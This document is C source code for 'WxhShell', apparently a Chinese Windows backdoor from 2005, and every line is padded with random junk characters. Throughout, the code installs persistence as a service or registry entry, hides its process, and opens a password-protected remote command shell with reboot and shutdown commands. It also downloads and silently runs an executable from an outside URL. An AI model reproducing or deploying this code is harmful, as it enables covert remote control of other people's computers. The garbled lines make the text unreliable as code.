DWORD AffinityMask; mqDI'~T9 u
DWORD BasePriority; Yw\lNhoPS
ULONG UniqueProcessId; /1eeNbd
ULONG InheritedFromUniqueProcessId; E9]*!^=/
} PROCESS_BASIC_INFORMATION; PR%n>a#
obGvd6\
PROCNTQSIP NtQueryInformationProcess; $&s V.fGu
{&J
OO
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; w`atk=K
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *P?Rucg
c`oW-K{
HANDLE hProcess; +y\o^w4sT
PROCESS_BASIC_INFORMATION pbi; WsT
W)L*zVj~
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); pz"}o#R"x
if(NULL == hInst ) return 0; - x; xQ
n^<J@uC
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fM"&=X
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); bpa'`sf
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 6cOlY=
bn
m14'u GC
if (!NtQueryInformationProcess) return 0; <VhD>4f{]
wWM[Hus
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); /$9We8
if(!hProcess) return 0; (^58$IW71
zX6Q7Bc
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 4r#4h4`y|
"i&9RA!1
CloseHandle(hProcess); f[?JLp
@0%[4
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *DQa6,b
if(hProcess==NULL) return 0; Xm<|m#
+]Ev
HMODULE hMod;
spWo{
char procName[255]; BW ux!
unsigned long cbNeeded; 9xeg,#1
{
PS0.UZ
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); mdlMciP
vSo1WS
CloseHandle(hProcess); *hh9
K
r6It)PQ
if(strstr(procName,"services")) return 1; // 以服务启动 Sa/]81aG
vVSf'w
return 0; // 注册表启动 li0)<("/
} tD,I7%|@
n*9nzx#q
// 主模块 2I7|hZ,
int StartWxhshell(LPSTR lpCmdLine) o3:BH@@
{ D5Z)"~'
SOCKET wsl; a'O-0]g,
BOOL val=TRUE; JW"n#sR4
int port=0; w8zr0z
struct sockaddr_in door; }|wC7*^)
*d31fBCk%
if(wscfg.ws_autoins) Install(); Zh_3ydMD1
gL`aLg_
port=atoi(lpCmdLine); /x\~5cC
V5gr-^E
if(port<=0) port=wscfg.ws_port; _>_"cKS
6NQ`IC
WSADATA data; @h(Z;
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; bk]g}s
E`]un.
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; FytGg[#]
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 2 ]n4)vv,
door.sin_family = AF_INET; +`!>lo{X
door.sin_addr.s_addr = inet_addr("127.0.0.1"); j|{
n?
door.sin_port = htons(port); Qx&7Ceu"
_>3#dk
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { $"va8,
closesocket(wsl); qRq4PQ@
return 1; En4!-pWHQ
} Ao@WTs9
<4CqG4}Y
if(listen(wsl,2) == INVALID_SOCKET) { +o35${
closesocket(wsl); !Z0S@]C
return 1; )S}.QrG
} {U4{v=,!I
Wxhshell(wsl); 6XnUs1O
WSACleanup(); o\fPZ`p-m~
#}Bv/`t
return 0; ;@O8y\@
Ml/K~H
tN
} r4 qs!(
QHd|cg
// 以NT服务方式启动 =F_j})O5
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ox@$ }
{ 'C @yJf
DWORD status = 0; %BQ?DTtb7'
DWORD specificError = 0xfffffff; U*XdFH}vV
|W*2L]&
serviceStatus.dwServiceType = SERVICE_WIN32; j$4lyDfD
serviceStatus.dwCurrentState = SERVICE_START_PENDING; *%%n9T
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; yM7FR);
serviceStatus.dwWin32ExitCode = 0; s~k62
serviceStatus.dwServiceSpecificExitCode = 0; UG]x CkDS
serviceStatus.dwCheckPoint = 0; uWi pjxS
serviceStatus.dwWaitHint = 0; 99n;%W>
C~PP}|<~V
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %&J`mq
if (hServiceStatusHandle==0) return; #%{
%}unlSTPP
status = GetLastError(); }H/94]~tH
if (status!=NO_ERROR) ~+PK Ws'}F
{ lB7/oa1]>
serviceStatus.dwCurrentState = SERVICE_STOPPED; iz+,,UH
serviceStatus.dwCheckPoint = 0; }4Q3S1|U
serviceStatus.dwWaitHint = 0; v!=e]w6{
serviceStatus.dwWin32ExitCode = status; Z1p%6f`
serviceStatus.dwServiceSpecificExitCode = specificError; w9Nk8OsL
SetServiceStatus(hServiceStatusHandle, &serviceStatus); &SPIu,
return; Ga`
8oY+~
}
"#pN
q?8#D
serviceStatus.dwCurrentState = SERVICE_RUNNING; [q^pMH#U"
serviceStatus.dwCheckPoint = 0; !e~d,NIy
serviceStatus.dwWaitHint = 0; aHPx'R
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y5*A,piq
} $4kbOqn4
}a%Wu 7D
// 处理NT服务事件,比如:启动、停止 BWr!K5w>i
VOID WINAPI NTServiceHandler(DWORD fdwControl) B)dd6R>8
{ mS.!lkV
switch(fdwControl) Ds@K%f(.?w
{ >b~Q%{1
case SERVICE_CONTROL_STOP: ssmJ?sl
serviceStatus.dwWin32ExitCode = 0; qj^A
serviceStatus.dwCurrentState = SERVICE_STOPPED; cca]@Ox]
serviceStatus.dwCheckPoint = 0; ;a[3RqmKW
serviceStatus.dwWaitHint = 0; 1yeD-M"w
{ Djf~8q V!
SetServiceStatus(hServiceStatusHandle, &serviceStatus); "V,dH%&j
} @JOsG-VW~
return; @@}muW>;T
case SERVICE_CONTROL_PAUSE: K
k^!P*#
serviceStatus.dwCurrentState = SERVICE_PAUSED; G#='*vOtO
break; 6!){-IV
case SERVICE_CONTROL_CONTINUE: J+`gr_&
serviceStatus.dwCurrentState = SERVICE_RUNNING; TC
;Aj|)N
break; [7[$P.MS{
case SERVICE_CONTROL_INTERROGATE: ]ed7Q3lq
break; [?da BXS
}; :ra[e(l9
SetServiceStatus(hServiceStatusHandle, &serviceStatus); `g{eWY1l
} [Uj,, y.wB
:4pO/I
~
// 标准应用程序主函数 8:]5H}Hi
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) lg@q}
]1
{ 5^Lbc.h
]agdVr^
// 获取操作系统版本 k;.<DN
OsIsNt=GetOsVer(); UYpln[S
GetModuleFileName(NULL,ExeFile,MAX_PATH); VD{_6
SQk5SP
// 从命令行安装 z] |Y
if(strpbrk(lpCmdLine,"iI")) Install(); qLB(Th\&'
}~#qDrK
// 下载执行文件 7/\SN04l
if(wscfg.ws_downexe) { / $'M
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @VsK7Eo
WinExec(wscfg.ws_filenam,SW_HIDE); fi6_yFl
} z7a@'+'
w_Z*X5u
if(!OsIsNt) { sZokiFJ
// 如果时win9x,隐藏进程并且设置为注册表启动 -Q1~lN m:
HideProc(); b+BX >$
StartWxhshell(lpCmdLine); 0%3T'N%
} WhV>]B2+"
else sB01QVx47
if(StartFromService()) ; d}
// 以服务方式启动 <q|eG\01S
StartServiceCtrlDispatcher(DispatchTable); XsMETl"Av4
else =I+5sCF{g
// 普通方式启动 RP wP4Z
StartWxhshell(lpCmdLine); X<H+Z2d
~>}7+p
?;
return 0; A^F0}MYT
} +jp^
ur
k@v
` $[`C/h
[+:KIW<
=========================================== r\|"j8
XP65
";59,\6
u?8e>a
puGy`9eKv1
G""=`@
" iEMIzaR
'RCX6TKBnR
#include <stdio.h> 3[To"You
#include <string.h> KYFkO~N
#include <windows.h> (' i_Xe
#include <winsock2.h> 79U7<]-!
#include <winsvc.h> d.NB@[?*
#include <urlmon.h> _\FA}d@N
y;HJ"5.Mw
#pragma comment (lib, "Ws2_32.lib") 4$v08zZ
#pragma comment (lib, "urlmon.lib") `Y7&}/OM
+]{PEnJ
#define MAX_USER 100 // 最大客户端连接数 Rs 0Gqx
#define BUF_SOCK 200 // sock buffer .eDI ZX
#define KEY_BUFF 255 // 输入 buffer ]&L[]
$EuI2.o
#define REBOOT 0 // 重启 y#e<]5I
#define SHUTDOWN 1 // 关机 O[&G6+
[0n&?<<
#define DEF_PORT 5000 // 监听端口 6z+*H7Qz
QBT_H"[
#define REG_LEN 16 // 注册表键长度 NSAp.m
#define SVC_LEN 80 // NT服务名长度 |Oe$)(`|h
9{{CNy
p
// 从dll定义API o=doL{#
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .{k^
tf4
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Xdc>Z\0V
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <' b%
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); HoKN<w
`LVX|l62
// wxhshell配置信息 FYeUz$/
struct WSCFG { `)eqTeW
int ws_port; // 监听端口 C$EvcF%1
char ws_passstr[REG_LEN]; // 口令 %g%#=a;]q
int ws_autoins; // 安装标记, 1=yes 0=no RIxGwMi%
char ws_regname[REG_LEN]; // 注册表键名 @Tf5YZ*
char ws_svcname[REG_LEN]; // 服务名 XZ&q5]PJI
char ws_svcdisp[SVC_LEN]; // 服务显示名 zDofe*
char ws_svcdesc[SVC_LEN]; // 服务描述信息 _{'HY+M
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 G( y@Tor+
int ws_downexe; // 下载执行标记, 1=yes 0=no x BMhk9b^0
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" las|ougLy
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 dD"o~iEC
U}<;4Px]7v
}; $`/J
V?Z
:ugj+
// default Wxhshell configuration >=U n=Q%
struct WSCFG wscfg={DEF_PORT, g\
p;
"xuhuanlingzhe", eVbaxL!Q^
1, X2p9KC
"Wxhshell", tr\}lfK%
"Wxhshell", l=<
:
"WxhShell Service", > 9wEx[
"Wrsky Windows CmdShell Service", fdTyY ;
"Please Input Your Password: ", t5pf4M7
1, cLe659 &
"http://www.wrsky.com/wxhshell.exe", kVe_2oQ_>
"Wxhshell.exe" uia-w^F e
}; &/A?*2
n,NKJt
// 消息定义模块 *.0#cP7 "
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; w0^T- O`<
char *msg_ws_prompt="\n\r? for help\n\r#>"; ~ugK&0i[2
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; efF>kcIC
char *msg_ws_ext="\n\rExit."; O486:tF
char *msg_ws_end="\n\rQuit."; NbnuQPb'
char *msg_ws_boot="\n\rReboot..."; #~^Y2-C#
char *msg_ws_poff="\n\rShutdown..."; I8 {2cM;
char *msg_ws_down="\n\rSave to "; 9:tKRN_D
I 0}+}{M:
char *msg_ws_err="\n\rErr!"; E6d0YgfD
char *msg_ws_ok="\n\rOK!"; t,K_!-HX+
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char ExeFile[MAX_PATH]; &Q"Ox{~W
int nUser = 0; '\X<+Sm'
HANDLE handles[MAX_USER]; ef=LPCi?
int OsIsNt; _S;L|1>S
)/F1,&/N`e
SERVICE_STATUS serviceStatus; @cZNoD
SERVICE_STATUS_HANDLE hServiceStatusHandle; k;pTOj
SD^6ib/]b
// 函数声明 bqAv)2
int Install(void); $=GZ"%ED
int Uninstall(void); #:?vpV#i
int DownloadFile(char *sURL, SOCKET wsh); :kDHwYv$
int Boot(int flag); jz2W/EE`w
void HideProc(void); QNH5Cq;Y
int GetOsVer(void); tA2I_WCl
int Wxhshell(SOCKET wsl); -\!"Kz/
void TalkWithClient(void *cs); N8|
;X
int CmdShell(SOCKET sock); V{[vIt*
int StartFromService(void); w|>O!]K]
int StartWxhshell(LPSTR lpCmdLine); &dkj